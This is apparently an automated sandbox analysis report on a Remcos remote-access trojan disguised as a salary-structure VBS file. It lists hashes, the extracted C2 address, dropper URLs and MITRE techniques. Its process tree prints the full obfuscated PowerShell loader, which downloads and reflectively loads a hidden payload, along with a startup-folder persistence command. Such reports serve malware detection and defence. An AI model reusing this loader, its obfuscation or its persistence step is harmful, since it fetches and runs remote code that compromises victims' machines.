remcos | ae31154dbcca94d6ef4c0fc616d2935bb75124b4d554d3e681740986a21c1f3b

General

Target

2024 New Salary Structure.vbs
Size

1KB
MD5

98dd05c55887724be8c28776218bad24
SHA1

b8939b327872d567398b5cd508b64f831e4d4883
SHA256

ae31154dbcca94d6ef4c0fc616d2935bb75124b4d554d3e681740986a21c1f3b
SHA512

a9c178f38fb232e2b1b8d36b177fe59e8d90803e3a72e7f902217ed521381539b9cc7ccdd367bf080920fe100b7bb1b7c3a203c68fe3cb7fbbf53132b0f31206

Score

10^/10

remcos final discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

remcos

Botnet

Final

C2

104.243.246.120:2030

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4NJUM7
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	4308	WScript.exe
6	4308	WScript.exe
32	2536	powershell.exe
34	2536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
464	powershell.exe
2536	powershell.exe
4812	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2536 set thread context of 4232	2536	powershell.exe	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4364	cmd.exe
1200	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1200	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4812	powershell.exe
4812	powershell.exe
464	powershell.exe
464	powershell.exe
2536	powershell.exe
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 4364	4308	WScript.exe	86
PID 4308 wrote to memory of 4364	4308	WScript.exe	86
PID 4364 wrote to memory of 1200	4364	cmd.exe	88
PID 4364 wrote to memory of 1200	4364	cmd.exe	88
PID 4364 wrote to memory of 4812	4364	cmd.exe	105
PID 4364 wrote to memory of 4812	4364	cmd.exe	105
PID 4308 wrote to memory of 464	4308	WScript.exe	106
PID 4308 wrote to memory of 464	4308	WScript.exe	106
PID 464 wrote to memory of 2536	464	powershell.exe	108
PID 464 wrote to memory of 2536	464	powershell.exe	108
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110
PID 2536 wrote to memory of 4232	2536	powershell.exe	110

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2024 New Salary Structure.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\2024 New Salary Structure.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\2024 New Salary Structure.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzakd6aW1hZ2VVcmwgPSBUVWlodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2EnKydwaS9maWwnKydlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3MnKydkOXBUOXBnU1NsdlN0R3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmJysncGsnKydfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFRVaTtzakd6d2ViQ2xpJysnZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtzakd6aW1hZ2VCeXRlcyA9IHNqR3p3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKHNqR3ppbWFnZVVybCk7c2pHemltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURicrJzguR2V0U3RyaW5nKHNqR3ppbWFnZUJ5dGVzKTtzakd6c3RhcnRGbGFnID0gVFVpPDxCQVNFNjRfU1RBUlQ+PlRVaTtzakd6ZW5kRmxhZyAnKyc9IFRVaTw8QkFTRTY0XycrJ0VORD4+VFVpO3NqR3pzdGFydEluZGV4ID0gc2pHemltJysnYWdlVGV4dC5JJysnbmRleE9mKHNqR3pzdGFydEZsYWcpO3NqR3plbmRJbmRleCA9IHNqRycrJ3ppbWFnZVRleHQuSW5kZXhPZihzakd6ZW5kRmxhZyk7c2pHenN0YXJ0SW5kZXgnKycgLWdlIDAgLWFuZCBzakd6ZW5kSW5kZXggLWd0IHNqR3pzdGEnKydydEluZGV4O3NqR3pzdGFydCcrJ0luZGV4ICs9ICcrJ3NqR3onKydzdGFydEZsYWcuTGVuZ3RoO3NqJysnR3piYXNlNjRMZW5ndGggPSBzakd6ZW5kSW5kZXggLSBzakd6c3RhcnRJbmRlJysneDtzakd6YmFzZTY0Q29tbWFuZCA9IHNqR3onKydpbWFnZVRleHQuU3Vic3RyaW5nKHNqR3pzdGFydEluZGV4LCBzakd6YmFzZTY0TGVuZ3RoKTtzakd6YmFzZTY0UmV2ZXJzJysnZWQgPSAtam9pJysnbiAoc2pHemJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBiVmh4IEYnKydvckVhY2gtT2JqZWN0IHsgc2pHel8gfSlbLTEuLi0oc2pHemJhc2U2NENvbW1hbmQuTGVuZ3RoKV07c2pHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OicrJ0Zyb21CYXMnKydlNjRTdHJpbmcocycrJ2pHemJhc2UnKyc2NFJldmVyc2VkKTtzakd6bG9hZGVkQXNzZW1ibHkgJysnPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHNqR3pjb21tYW5kQnl0ZXMpO3NqR3p2YWlNZXRob2QgPSBbZG5saWIuSU8uSG8nKydtZV0uR2V0TWV0aG9kKFRVaVZBSScrJ1RVaSk7c2pHenZhaU1ldGhvZC5JbnZva2Uoc2pHem51bCcrJ2wsIEAoVFVpMC9ZRWVuTy9kLycrJ2VlLmV0c2FwLy86c3B0dGhUVWksJysnIFRVaWRlc2F0aXZhZG9UVWksIFRVaWRlc2F0aXZhZG9UVWksIFRVaWRlc2F0aXZhZG9UVWksIFRVaU1TQnVpbGRUVWksIFRVaWRlc2F0aXZhZG9UVWksIFRVaWRlc2F0aXZhZG9UVWksJysnVFVpZGVzYXRpdmFkJysnb1RVaSxUVWlkZXNhdGl2YWRvVCcrJ1VpLFRVaWRlc2F0aXZhZG9UVWksVFVpZGVzYXRpdmFkb1RVJysnaSwnKydUVWlkZXNhdGl2YWRvJysnVFVpLFQnKydVaTFUVWksVFVpZGVzYXRpdmFkb1RVaSkpOycpLnJlcExhY0UoKFtjSEFyXTExNStbY0hBcl0xMDYrW2NIQXJdNzErW2NIQXJdMTIyKSxbU3RyaU5nXVtjSEFyXTM2KS5yZXBMYWNFKChbY0hBcl05OCtbY0hBcl04NitbY0hBcl0xMDQrW2NIQXJdMTIwKSxbU3RyaU5nXVtjSEFyXTEyNCkucmVwTGFjRSgoW2NIQXJdODQrW2NIQXJdODUrW2NIQXJdMTA1KSxbU3RyaU5nXVtjSEFyXTM5KSB8IC4oICR2ZVJCb3NFUHJFRmVSRU5jRS5UT3NUcmlOZygpWzEsM10rJ3gnLUpvaW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('sjGzimageUrl = TUihttps://1017.filemail.com/a'+'pi/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgs'+'d9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&'+'pk'+'_vid=fd4f614bb209c62c1730945176a0904f TUi;sjGzwebCli'+'ent = New-Object System.Net.WebClient;sjGzimageBytes = sjGzwebClient.'+'DownloadData(sjGzimageUrl);sjGzimageText = [System.Text.Encoding]::UTF'+'8.GetString(sjGzimageBytes);sjGzstartFlag = TUi<<BASE64_START>>TUi;sjGzendFlag '+'= TUi<<BASE64_'+'END>>TUi;sjGzstartIndex = sjGzim'+'ageText.I'+'ndexOf(sjGzstartFlag);sjGzendIndex = sjG'+'zimageText.IndexOf(sjGzendFlag);sjGzstartIndex'+' -ge 0 -and sjGzendIndex -gt sjGzsta'+'rtIndex;sjGzstart'+'Index += '+'sjGz'+'startFlag.Length;sj'+'Gzbase64Length = sjGzendIndex - sjGzstartInde'+'x;sjGzbase64Command = sjGz'+'imageText.Substring(sjGzstartIndex, sjGzbase64Length);sjGzbase64Revers'+'ed = -joi'+'n (sjGzbase64Command.ToCharArray() bVhx F'+'orEach-Object { sjGz_ })[-1..-(sjGzbase64Command.Length)];sjGzcommandBytes = [System.Convert]::'+'FromBas'+'e64String(s'+'jGzbase'+'64Reversed);sjGzloadedAssembly '+'= [System.Reflection.Assembly]::Load(sjGzcommandBytes);sjGzvaiMethod = [dnlib.IO.Ho'+'me].GetMethod(TUiVAI'+'TUi);sjGzvaiMethod.Invoke(sjGznul'+'l, @(TUi0/YEenO/d/'+'ee.etsap//:sptthTUi,'+' TUidesativadoTUi, TUidesativadoTUi, TUidesativadoTUi, TUiMSBuildTUi, TUidesativadoTUi, TUidesativadoTUi,'+'TUidesativad'+'oTUi,TUidesativadoT'+'Ui,TUidesativadoTUi,TUidesativadoTU'+'i,'+'TUidesativado'+'TUi,T'+'Ui1TUi,TUidesativadoTUi));').repLacE(([cHAr]115+[cHAr]106+[cHAr]71+[cHAr]122),[StriNg][cHAr]36).repLacE(([cHAr]98+[cHAr]86+[cHAr]104+[cHAr]120),[StriNg][cHAr]124).repLacE(([cHAr]84+[cHAr]85+[cHAr]105),[StriNg][cHAr]39) | .( $veRBosEPrEFeRENcE.TOsTriNg()[1,3]+'x'-Join'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
af68b27c2533d96e25354bcd1d978b7b

SHA1
befcdccec350ecfd9aa44ed059b2519a1d12f772

SHA256
962b9a6b79499895af25b8cafebf94796b838cf2e46b75685d45eeb68ede199e

SHA512
dbedd798f62badbcc4dadf41efdf646d749da881e660392959b31ffb9868cd43e72c65320c26217eee76446025acfa7e835e7053ff4a925d9394f47ef252bb0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udrf5kve.i5l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2536-39-0x0000029FEDAF0000-0x0000029FEDC48000-memory.dmp

Filesize
1.3MB

Download
memory/4232-49-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-58-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-57-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-56-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-42-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-54-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-45-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-46-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-52-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4232-51-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4812-1-0x00007FFD80133000-0x00007FFD80135000-memory.dmp

Filesize
8KB

Download
memory/4812-17-0x0000022956060000-0x00000229560A8000-memory.dmp

Filesize
288KB

Download
memory/4812-2-0x000002293DE50000-0x000002293DE72000-memory.dmp

Filesize
136KB

Download
memory/4812-12-0x00007FFD80130000-0x00007FFD80BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4812-13-0x00007FFD80130000-0x00007FFD80BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4812-14-0x00007FFD80130000-0x00007FFD80BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4812-18-0x00007FFD80130000-0x00007FFD80BF1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads